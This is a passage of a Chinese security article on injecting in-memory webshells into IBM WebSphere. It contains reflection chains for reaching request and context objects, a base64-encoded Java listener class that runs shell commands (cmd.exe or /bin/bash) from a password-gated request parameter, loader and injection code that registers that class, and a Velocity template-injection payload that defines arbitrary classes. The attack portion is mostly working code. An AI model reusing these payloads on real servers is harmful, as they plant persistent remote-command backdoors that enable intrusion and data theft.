       ---> free = {class [Ljava.lang.Object;}
        ---> [0] = {com.ibm.io.async.CompletedFutureWorkItem}
         ---> future = {com.ibm.io.async.AsyncFuture}
            ---> channel =
{com.ibm.io.async.AsyncSocketChannel}
             ---> channelVCI =
{com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl}
              ---> stateStore = {interface java.util.Map}
               ---> [WCChannelLink] =
{com.ibm.ws.webcontainer.channel.WCChannelLink}
                ---> request =
{com.ibm.ws.webcontainer.channel.WCCRequestImpl}
idea_express:
   Object obj0 = TargetObject;
   // {java.lang.ThreadLocal$ThreadLocalMap}
   Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr
eadLocals");
   // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
   Object obj2 = ((java.util.Map) obj1).get("table");
   // {java.lang.ThreadLocal$ThreadLocalMap$Entry}
   Object obj3 = java.lang.reflect.Array.get(obj2, 11);
   // {com.ibm.ws.util.objectpool.LocalThreadObjectPool}
   Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val
ue");
   // {class [Ljava.lang.Object;}
   Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre
e");
   // {com.ibm.io.async.CompletedFutureWorkItem}
   Object obj6 = java.lang.reflect.Array.get(obj5, 0);
   // {com.ibm.io.async.AsyncFuture}
   Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure");
   // {com.ibm.io.async.AsyncSocketChannel}
   Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"cha
nnel");
   //
{com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl}
   Object obj9 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"cha
nnelVCI");
   // {interface java.util.Map}
   Object obj10 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj9,"sta
teStore");
   // {com.ibm.ws.webcontainer.channel.WCChannelLink}
   Object obj11 = ((java.util.Map) obj10).get("WCChannelLink");
   // {com.ibm.ws.webcontainer.channel.WCCRequestImpl}
   Object obj12 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj11,"re
quest");

这个是当前的

TargetObject = {com.ibm.ws.util.ThreadPool$Worker}
   ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
    ---> table = {class
[Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
     ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
      ---> value =
{com.ibm.ws.util.objectpool.LocalThreadObjectPool}
       ---> free = {class [Ljava.lang.Object;}
        ---> [0] = {com.ibm.io.async.CompletedFutureWorkItem}
         ---> future = {com.ibm.io.async.AsyncFuture}
            ---> firstListenerState =
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
idea_express:
   Object obj0 = TargetObject;
   // {java.lang.ThreadLocal$ThreadLocalMap}
   Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr
eadLocals");
   // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
   Object obj2 = ((java.util.Map) obj1).get("table");
   // {java.lang.ThreadLocal$ThreadLocalMap$Entry}
   Object obj3 = java.lang.reflect.Array.get(obj2, 11);
   // {com.ibm.ws.util.objectpool.LocalThreadObjectPool}
   Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val
ue");
   // {class [Ljava.lang.Object;}
   Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre
e");
   // {com.ibm.io.async.CompletedFutureWorkItem}
   Object obj6 = java.lang.reflect.Array.get(obj5, 0);
   // {com.ibm.io.async.AsyncFuture}
   Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure");
   //
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
   Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir
stListenerState");
Object obj0 = Thread.currentThread();
// {java.lang.ThreadLocal$ThreadLocalMap}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr
eadLocals");
// {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"tab
le");
int count = java.lang.reflect.Array.getLength(obj2);
for (int i = 0; i < count; i++) {
   // {java.lang.ThreadLocal$ThreadLocalMap$Entry}
   Object obj3 = java.lang.reflect.Array.get(obj2, i);
   if (obj3==null ||
!obj3.getClass().getName().contains("ThreadLocalMap$Entry") ) {
       continue;
  }
   // {com.ibm.ws.util.objectpool.LocalThreadObjectPool}
   Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val
ue");
   if (obj4 == null ||
!obj4.getClass().getName().contains("LocalThreadObjectPool")) {
       continue;
  }
// {class [Ljava.lang.Object;}
   Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre
e");
   Object[] free = (Object[]) obj5;
   for (int j = 0; j < free.length; j++) {
       // {com.ibm.io.async.CompletedFutureWorkItem}
       Object obj6 = free[j];
       if (obj6==null ||
!obj6.getClass().getName().contains("CompletedFutureWorkItem") )
{
           continue;
      }
// {com.ibm.io.async.AsyncFuture}
       Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure");
       //
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
      Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir
stListenerState");
       return obj8;
  }
}

3.7.5. 基于Thread.currentThread()定位context

TargetObject = {com.ibm.ws.util.ThreadPool$Worker}
 ---> wsThreadLocals = {class [Ljava.lang.Object;}
  ---> [16] = {com.ibm.ejs.util.FastStack}
   ---> stack = {class [Ljava.lang.Object;}
    ---> [1] =
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}
     ---> config =
{com.ibm.ws.webcontainer.servlet.ServletConfigImpl}
      ---> context =
{com.ibm.wsspi.webcontainer.facade.ServletContextFacade}
       ---> context =
{com.ibm.ws.webcontainer.webapp.WebAppImpl}
idea_express:
   Object obj0 = TargetObject;
   // {class [Ljava.lang.Object;}
   Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT
hreadLocals");
   // {com.ibm.ejs.util.FastStack}
   Object obj2 = java.lang.reflect.Array.get(obj1, 16);
   // {class [Ljava.lang.Object;}
   Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta
ck");
   //
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}
   Object obj4 = java.lang.reflect.Array.get(obj3, 1);
   // {com.ibm.ws.webcontainer.servlet.ServletConfigImpl}
   Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con
fig");
   // {com.ibm.wsspi.webcontainer.facade.ServletContextFacade}
   Object obj6 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con
text");
   // {com.ibm.ws.webcontainer.webapp.WebAppImpl}
   Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con
text");
Object obj0 = Thread.currentThread();
// {class [Ljava.lang.Object;}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT
hreadLocals");
Object[] wsThreadLocals = (Object[])  obj1;
Object a;
for (int i = 0; i < wsThreadLocals.length; i++) {
   // {com.ibm.ejs.util.FastStack}
   Object obj2 = wsThreadLocals[i];
   if (obj2 == null ||
!obj2.getClass().getName().contains("FastStack")) {
       continue;
  }
   try {
       // {class [Ljava.lang.Object;}
       Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta
ck");
       Object[] stack = (Object[])obj3;
       for (int j = 0; j < stack.length; j ++) {
           //
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}
           Object obj4 = stack[j];
           if (obj4 == null ||
!obj4.getClass().getName().contains("WebComponentMetaDataImpl"))
{
               continue;
          }
           //
{com.ibm.ws.webcontainer.servlet.ServletConfigImpl}
           Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con
fig");
           //
{com.ibm.wsspi.webcontainer.facade.ServletContextFacade}
           Object obj6 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con
text");
           // {com.ibm.ws.webcontainer.webapp.WebAppImpl}
           Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con
text");
           a = obj6;
      }
  }catch (Exception ignored) {
  }
}

3.7.6. 定位context的全局方法

Object webContainer =
 getMethodByClass(Class.forName("com.ibm.ws.webcontainer.WebCont
ainer", true, classloader), "getWebContainer", new
Class[0]).invoke(null, new Object[0]);
Object requestMapper =
getFieldValue(webContainer,"requestMapper");
Object webGroup = invoke(requestMapper,"map", new Object[]
{":9080/visor_externo/*"});
Object webapp = getFieldValue(webGroup,"webApp");

3.7.7. 方案

通过 Thread.currentThread() 定位 context ,然后通过 context 获取
request,从而实现回显

根据堆栈分析,总结一下request以及response对象的生成,在7中,每个
SRTServletRequest都是基于WCCRequestImpl新建的,就会导致无法拿到一模一样的
SRTServletRequest,虽然有个缓存队列,但每次请求都会取出来,无法获取到。
AioTCPReadRequestContextImpl->(WCCRequestImpl,WCCResponseImpl)-
>getConnectionContext新建上下文,并传入之前两个变量->
(SRTServletRequest,SRTServletResponse)

3.7.8. 内存马注入

byte[] classBytes = new
BASE64Decoder().decodeBuffer("yv66vgAAADIBKwoAEACkCQBMAKUIAKYJAE
wApwgAqAgAqQoAqgCrCgAZAKwIAK0KABkArggAaQoATACvCABqBwCwCABiBwCxCg
BMALIKALMAtAcAtQsAEwC2CgBMALcHALgIAHMKAEwAuQcAuggAuwgAvAgAvQgAvg
oAvwDACgC/AMEKAMIAwwcAxAoAIQDFCADGCgAhAMcKACEAyAoAIQDJCADKCADLCA
DMCgAZAM0IAM4IAM8KABkA0AoAGQDRCADSCwAWANMLABYA1AoA1QDWCgDVANcKAN
UA2AoADgDZCADaCwATANsIANwKABkA3QgA3ggA3wcA4AoAEADhCgBFAOIKAEUA4w
oAPADkCgA8AOUHAOYKAEIApAoAQgDnBwDoCgBCAOkHAKEKAEwA6goA6wDsCgBFAO
0KAOsA5AcA7gcA7wEACXJlc3BvbnNlMQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSH
R0cFNlcnZsZXRSZXNwb25zZTsBAANwd2QBABJMamF2YS9sYW5nL1N0cmluZzsBAB
ByZXF1ZXN0RGVzdHJveWVkAQAmKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZX
N0RXZlbnQ7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYW
JsZVRhYmxlAQAEdGhpcwEAK0x0b29scy9tZW0vc2hlbGxzL2xpc3RlbmVyL3Rlc3
RDbWRMaXN0ZW5lcjsBABNzZXJ2bGV0UmVxdWVzdEV2ZW50AQAjTGphdmF4L3Nlcn
ZsZXQvU2VydmxldFJlcXVlc3RFdmVudDsBAAY8aW5pdD4BAAMoKVYBAAVpc1dpbg
EAAygpWgEABm9zbmFtZQEADVN0YWNrTWFwVGFibGUHALoBAAtnZXRSZXNwb25zZQ
EAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIcmVxdW
VzdDIBABJMamF2YS9sYW5nL09iamVjdDsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy
9FeGNlcHRpb247AQABZQEAB3JlcXVlc3QBAAhyZXNwb25zZQcAsQcAsAcAsAEAEn
JlcXVlc3RJbml0aWFsaXplZAEAAWMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW
4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANjbWQBAAFzAQATTGphdmEvdXRpbC
9TY2FubmVyOwEAA291dAEACWhlYWRlck91dAEAJ0xqYXZheC9zZXJ2bGV0L2h0dH
AvSHR0cFNlcnZsZXRSZXF1ZXN0OwcA7gcA8AcAtQcAuAcA8QcAcAcAxAEABWNoZW
NrAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYX
ZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspWgEABWZsYWdzAQ
ANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1
N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyNgEABm1ldGhvZAEAGkxqYX
ZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQACY3MBABFMamF2YS9sYW5nL0NsYXNzOw
EAA29iagEACWZpZWxkTmFtZQEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbG
Q7BwDgBwDyBwDoAQAKRXhjZXB0aW9ucwEABmludm9rZQEASyhMamF2YS9sYW5nL0
9iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYX
ZhL2xhbmcvT2JqZWN0OwEAAm8xAQABaQEAAUkBAAdjbGFzc2VzAQAVTGphdmEvdX
RpbC9BcnJheUxpc3Q7AQAEdmFyNwEACm1ldGhvZE5hbWUBAApwYXJhbWV0ZXJzAQ
ATW0xqYXZhL2xhbmcvT2JqZWN0OwcA5gcAnAEAEGdldE1ldGhvZEJ5Q2xhc3MBAF
EoTGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy
9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABJbTGphdmEvbGFuZy
9DbGFzczsBAApTb3VyY2VGaWxlAQApdGVzdENtZExpc3RlbmVyLmphdmEgZnJvbS
BJbnB1dEZpbGVPYmplY3QMAFsAXAwATgBPAQAQcGFzc3dvcmRwYXNzd29yZAwAUA
BRAQADMTExAQAHb3MubmFtZQcA8wwA9AD1DAD2APcBAAN3aW4MAPgA+QwAgwCEAQ
1
ATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9PYmplY3QMAJIAkwcA8A
wA+gD7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA/A
D1DABiAGMBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQ
wAXQBeAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEACS9iaW4vYm
FzaAEAAi1jBwD9DAD+AP8MAQABAQcBAgwBAwEEAQARamF2YS91dGlsL1NjYW5uZX
IMAFsBBQEAAlxBDAEGAQcMAQgAXgwBCQD3AQAAAQABDQEAAlxyDAEKAQsBAAEKAQ
ACXG4MAQwBDQwBDgEPAQAEdGVzdAwBEAERDAESARMHARQMARUBFgwBFwBcDAEYAF
wMARkAXAEADkFjY2VwdC1FbmNvZGVkDAEaAPUBABNnemlwLCBkZWZsYXRlLCB0ZX
N0DAEbARwBABBUcmFuc2Zlci1lbmNvZGVkAQAHY2h1bmtlZAEAF2phdmEvbGFuZy
9yZWZsZWN0L0ZpZWxkDAEdAR4MAR8BIAwBIQEeDAEiASMMASQAYwEAE2phdmEvdX
RpbC9BcnJheUxpc3QMASUBHAEAD2phdmEvbGFuZy9DbGFzcwwBJgEnDACfAKAHAP
IMAJIBKAwBKQEqAQApdG9vbHMvbWVtL3NoZWxscy9saXN0ZW5lci90ZXN0Q21kTG
lzdGVuZXIBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBAC
FqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABNqYXZhL2lvL0lucH
V0U3RyZWFtAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1
N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS
9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbm
c7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWdldFNlcn
ZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA
xnZXRQYXJhbWV0ZXIBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBAB
UoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cm
luZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2
V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS
9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1
N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAARuZXh0AQAHcm
VwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYX
JTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAGbGVuZ3RoAQADKClJAQAJc3
Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAJc2V0SGVhZGVyAQAnKE
xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdG
VyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdG
VyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3
NlAQAPcHJpbnRTdGFja1RyYWNlAQAJZ2V0SGVhZGVyAQAGZXF1YWxzAQAVKExqYX
ZhL2xhbmcvT2JqZWN0OylaAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3
M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdm
EvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBAA1zZXRBY2Nlc3
NpYmxlAQAEKFopVgEAA2dldAEAA2FkZAEAB3RvQXJyYXkBACgoW0xqYXZhL2xhbm
cvT2JqZWN0OylbTGphdmEvbGFuZy9PYmplY3Q7AQA5KExqYXZhL2xhbmcvT2JqZW
N0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RG
VjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2
xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7ACEATAAQAAEATQACAAEATg
BPAAAAAQBQAFEAAAAJAAEAUgBTAAEAVAAAADUAAAACAAAAAbEAAAACAFUAAAAGAA
EAAAAVAFYAAAAWAAIAAAABAFcAWAAAAAAAAQBZAFoAAQABAFsAXAABAFQAAABQAA
IAAQAAABYqtwABKgG1AAIqEgO1AAQqEgW1AASxAAAAAgBVAAAAFgAFAAAAFgAEAB
AACQARAA8AFwAVABgAVgAAAAwAAQAAABYAVwBYAAAAAABdAF4AAQBUAAAAagACAA
IAAAAYEga4AAdMK7YACEwrEgm2AAqZAAUErAOsAAAAAwBVAAAAFgAFAAAAGwAGAB
wACwAdABQAHgAWACAAVgAAABYAAgAAABgAVwBYAAAABgASAF8AUQABAGAAAAAIAA
H8ABYHAGEACgBiAGMAAQBUAAAA1QADAAQAAAAlAUwqEgu4AAxNLBINuAAMTKcAE0
0qEg8DvQAQuAARTKcABE4rsAACAAIAEAATAA4AFAAfACIADgADAFUAAAAmAAkAAA
AkAAIAJgAJACcAEAAuABMAKAAUACoAHwAtACIAKwAjAC8AVgAAADQABQAJAAcAZA
BlAAIAIwAAAGYAZwADABQADwBoAGcAAgAAACUAaQBlAAAAAgAjAGoAZQABAGAAAA
AoAAP/ABMAAgcAawcAawABBwBs/wAOAAMHAGsHAGsHAG0AAQcAbPoAAAABAG4AUw
ABAFQAAAJWAAQACgAAAOwrtgASwAATTSwqtAAEuQAUAgDGANksuAAVwAAWTgE6BC
wSF7kAFAIAOgYZBscABLEqtgAYmQAbBr0AGVkDEhpTWQQSG1NZBRkGUzoFpwAYBr
0AGVkDEhxTWQQSHVNZBRkGUzoFuAAeGQW2AB+2ACA6BLsAIVkZBLcAIhIjtgAkOg
cZB7YAJZkACxkHtgAmpwAFEic6CBkIEigSKbYAKhIrEiy2ACo6CRkItgAtEQfQpA
ANGQgRB9C2AC46CC0SLxkJuQAwAwAtuQAxAQAZCLYAMi25ADEBALYAMy25ADEBAL
YANKcACE4ttgA1sQACABUALwDmAA4AMADjAOYADgADAFUAAABiABgAAAAzAAgANQ
AVADcAHQA/ACAAQQAqAEIALwBDADAARgA3AEcATwBJAGQASwBxAE0AgQBOAJUATw
CnAFAAsgBRALwAUwDGAFQA0QBVANoAVgDjAFoA5gBYAOcAWQDrAF4AVgAAAHoADA
BMAAMAbwBwAAUAHQDGAGoATwADACAAwwBxAHIABABkAH8AbwBwAAUAKgC5AHMAUQ
AGAIEAYgB0AHUABwCVAE4AdgBRAAgApwA8AHcAUQAJAOcABABoAGcAAwAAAOwAVw
BYAAAAAADsAFkAWgABAAgA5ABpAHgAAgBgAAAAYAAI/wAwAAcHAHkHAHoHAHsHAH
wHAH0ABwBhAAAe/wAUAAcHAHkHAHoHAHsHAHwHAH0HAH4HAGEAAPwALAcAf0EHAG
H9ACgHAGEHAGH/ACkAAwcAeQcAegcAewABBwBsBAAAAIAAgQABAFQAAACLAAMABA
AAACQrEja5ADcCAE4txgAMLRI4tgA5mgAFA6wsEjoSO7kAMAMABKwAAAADAFUAAA
AWAAUAAABhAAkAYgAWAGUAGABoACIAagBWAAAAKgAEAAAAJABXAFgAAAAAACQAaQ
B4AAEAAAAkAGoATwACAAkAGwCCAFEAAwBgAAAACQAC/AAWBwBhAQAJAIMAhAACAF
QAAAD4AAIABgAAAEIBTSrBADyZAAsqwAA8TacAKQFOKrYAPToEGQTGABwZBCu2AD
5NAToEp//xOgUZBLYAPzoEp//lLAS2AEAsKrYAQbAAAQAeACgAKwAOAAMAVQAAAD
oADgAAAG8AAgBwAAkAcQARAHMAEwB0ABkAdgAeAHgAJQB5ACgAfAArAHoALQB7AD
QAfAA3AIAAPACBAFYAAAA+AAYALQAHAIUAZwAFABMAJACGAIcAAwAZAB4AiACJAA
QAAABCAIoAZQAAAAAAQgCLAFEAAQACAEAAjACNAAIAYAAAABgABPwAEQcAjv0ABw
cAjwcAkFEHAGz5AAsAkQAAAAQAAQAOAIoAkgCTAAEAVAAAATIABAAGAAAAYLsAQl
m3AENOLMYANAM2BBUELL6iACosFQQyOgUZBcYAEC0ZBbYAPbYARFenAAwtAcAAEL
YARFeEBAGn/9UqtgA9Ky0DvQBFtgBGwABHwABHuABIOgQZBCostgBJsE4BsAABAA
AAXABdAA4AAwBVAAAAMgAMAAAAhgAIAIcADACIABYAiQAcAIoAIQCLAC4AjQA3AI
gAPQCSAFUAkwBdAJQAXgCVAFYAAABSAAgAHAAbAJQAZQAFAA8ALgCVAJYABAAIAF
UAlwCYAAMAVQAIAIYAhwAEAF4AAgCZAGcAAwAAAGAAigBlAAAAAABgAJoAUQABAA
上下文是如下获取,可以看到webcontainer里包含了所有端口上跑的context,这样就
可以很轻松跨context进行操作了。
他是以ClauseNode为基础进行递归的,从而匹配到你要的node,获取最终的
context,每级node都有一个children存储下级的node,node存储在hashTable中
AAYACbAJwAAgBgAAAAKAAF/QAPBwCdAfwAHgcAa/oACPoABf8AHwADBwBrBwBhBw
CeAAEHAGwAigCfAKAAAQBUAAAAtAADAAUAAAAjAU4qxgAeKisstgBKTgFLLQS2AE
un/+46BCq2AD9Lp//kLbAAAQAGABQAFwAOAAMAVQAAACoACgAAAJsAAgCdAAYAnw
ANAKAADwChABQApAAXAKIAGQCjAB4ApAAhAKcAVgAAADQABQAZAAUAhQBnAAQAAA
AjAIgAiQAAAAAAIwCaAFEAAQAAACMAmwChAAIAAgAhAIYAhwADAGAAAAANAAP8AA
IHAI9UBwBsCQABAKIAAAACAKM=");
java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass", new Class[]
{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
;
Class cc = (Class) defineClassMethod.invoke(new
java.security.SecureClassLoader(Thread.currentThread().getClass(
).getClassLoader()), new Object[]{classBytes, new Integer(0),
new Integer(classBytes.length)});
((WebGroupImpl)
WebContainer.getWebContainer().requestMapper.map(":9080/visor_ex
terno/*")).webApp.addLifecycleListener(((EventListener)cc.newIns
tance());

上下文是如下获取,可以看到webcontainer里包含了所有端口上跑的context,这样就
可以很轻松跨context进行操作了。
他是以ClauseNode为基础进行递归的,从而匹配到你要的node,获取最终的
context,每级node都有一个children存储下级的node,node存储在hashTable中

这里可以看到,端口的下一级就是匹配URI

URI匹配完,就到了最终的context

可以通过如下方式直接获取webgroup对象,而webapp里就存储着listener等属性,进
一步就可以注入内存马了

4. agent注入

https://xz.aliyun.com/t/9450

5. 技巧

5.1. SSTI

#set($s="");
#set($evil="b64xxxxx");
#set($evilb=$s.getClass().forName("sun.misc.BASE64Decoder").newI
nstance().decodeBuffer($evil));
#set($ReflectUtils=$s.getClass().forName("org.springframework.cg
lib.core.ReflectUtils").getDeclaredConstructor())
#set($classLoader=$s.getClass().forName("java.lang.Thread").curr
entThread().getContextClassLoader());
$ReflectUtils.setAccessible(true);
#set($ReflectUtilsObject=$ReflectUtils.newInstance());
#set($_=$ReflectUtilsObject.defineClass("Payload286011263666700"
, $evilb, $classLoader));
#set($shellServlet=$classLoader.loadClass("Payload28601126366670
0").newInstance());

5.2. 远程调试

JDK5-8

-
agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

JDK9 or later

-
agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

针对一些第三方二进制文件封装了JVM而无法通过如上跟参数开启debug的话,可通
过设置全局环境变量来实现,当然也适用于原生java.exe

set JAVA_TOOL_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

远程类加载后,可以在本地也放一个相同的类,这样就能实现同步调试

5.3. dumpclass

有时候需要dump运行时内存,有些class实在找不到jar包位置(可能是动态代理生成
的),或者内存马之类的。
找到一个现成的项目 https://github.com/hengyunabc/dumpclass ,而且支持多个
classloader场景。
如果直接java -jar调用,会因为调用的是jre,而jre没有sa-jdi.jar而报错,所以可以找
到java.exe的绝对路径,使用绝对路径,如下则可成功。

"C:\Java\jdk1.8.0_212\bin\java.exe" -jar
dumpclass.jar -p 10820 com.seeyon.ctp.login.LoginHelper

6. 参考

https://blog.csdn.net/sinat_29846389/article/details/122513297
https://github.com/pen4uin/awesome-java-security/blob/main/middleware/resin/note/REA
DME.md
https://github.com/feihong-cs/memShell


# 网络安全 # web安全 # 漏洞分析 # 网络安全技术 # Java代码
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录